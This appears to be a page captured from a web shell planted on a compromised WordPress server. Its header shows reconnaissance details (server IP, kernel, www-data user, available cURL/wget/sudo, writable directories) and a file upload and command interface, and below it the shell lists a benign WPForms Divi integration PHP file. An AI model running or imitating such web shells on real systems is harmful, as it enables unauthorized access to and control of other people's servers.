403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kiwigrass_LIVE/wp-content/plugins/wpforms-lite/src/Integrations/Divi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kiwigrass_LIVE/wp-content/plugins/wpforms-lite/src/Integrations/Divi/WPFormsSelector.php
<?php

namespace WPForms\Integrations\Divi;

use ET_Builder_Module;

/**
 * Class WPFormsSelector.
 *
 * @since 1.6.3
 */
class WPFormsSelector extends ET_Builder_Module {

	/**
	 * Module slug.
	 *
	 * @var string
	 */
	public $slug = 'wpforms_selector';

	/**
	 * VB support.
	 *
	 * @var string
	 */
	public $vb_support = 'on';

	/**
	 * Init module.
	 *
	 * @since 1.6.3
	 */
	public function init() {

		$this->name = esc_html__( 'WPForms', 'wpforms-lite' );
	}

	/**
	 * Get list of settings.
	 *
	 * @since 1.6.3
	 *
	 * @return array
	 */
	public function get_fields(): array {

		$forms         = wpforms()->get( 'form' )->get( '', [ 'order' => 'DESC' ] );
		$default_value = '';

		if ( ! empty( $forms ) ) {
			$forms         = wp_list_pluck( $forms, 'post_title', 'ID' );
			$forms         = array_map(
				static function ( $form ) {

					return htmlspecialchars_decode( $form, ENT_QUOTES );
				},
				$forms
			);
			$forms[0]      = esc_html__( 'Select form', 'wpforms-lite' );
			$default_value = 0;
		}

		return [
			'form_id'    => [
				'label'           => esc_html__( 'Form', 'wpforms-lite' ),
				'type'            => 'select',
				'option_category' => 'basic_option',
				'toggle_slug'     => 'main_content',
				'options'         => $forms,
				'default'         => $default_value,
			],
			'show_title' => [
				'label'           => esc_html__( 'Show Title', 'wpforms-lite' ),
				'type'            => 'yes_no_button',
				'option_category' => 'basic_option',
				'toggle_slug'     => 'main_content',
				'options'         => [
					'off' => esc_html__( 'Off', 'wpforms-lite' ),
					'on'  => esc_html__( 'On', 'wpforms-lite' ),
				],
			],
			'show_desc'  => [
				'label'           => esc_html__( 'Show Description', 'wpforms-lite' ),
				'option_category' => 'basic_option',
				'type'            => 'yes_no_button',
				'toggle_slug'     => 'main_content',
				'options'         => [
					'off' => esc_html__( 'Off', 'wpforms-lite' ),
					'on'  => esc_html__( 'On', 'wpforms-lite' ),
				],
			],
		];
	}


	/**
	 * Disable advanced fields configuration.
	 *
	 * @since 1.6.3
	 *
	 * @return array
	 */
	public function get_advanced_fields_config() {

		return [
			'link_options' => false,
			'text'         => false,
			'background'   => false,
			'borders'      => false,
			'box_shadow'   => false,
			'button'       => false,
			'filters'      => false,
			'fonts'        => false,
		];
	}

	/**
	 * Render module on the frontend.
	 *
	 * @since 1.6.3
	 *
	 * @param array  $attrs       List of unprocessed attributes.
	 * @param string $content     Content being processed.
	 * @param string $render_slug Slug of module that is used for rendering output.
	 *
	 * @return string
	 */
	public function render( $attrs, $content = null, $render_slug = '' ) {

		if ( empty( $this->props['form_id'] ) ) {
			return '';
		}

		return do_shortcode(
			sprintf(
				'[wpforms id="%1$s" title="%2$s" description="%3$s"]',
				absint( $this->props['form_id'] ),
				(bool) apply_filters( 'wpforms_divi_builder_form_title', ! empty( $this->props['show_title'] ) && 'on' === $this->props['show_title'], absint( $this->props['form_id'] ) ),
				(bool) apply_filters( 'wpforms_divi_builder_form_desc', ! empty( $this->props['show_desc'] ) && 'on' === $this->props['show_desc'], absint( $this->props['form_id'] ) )
			)
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit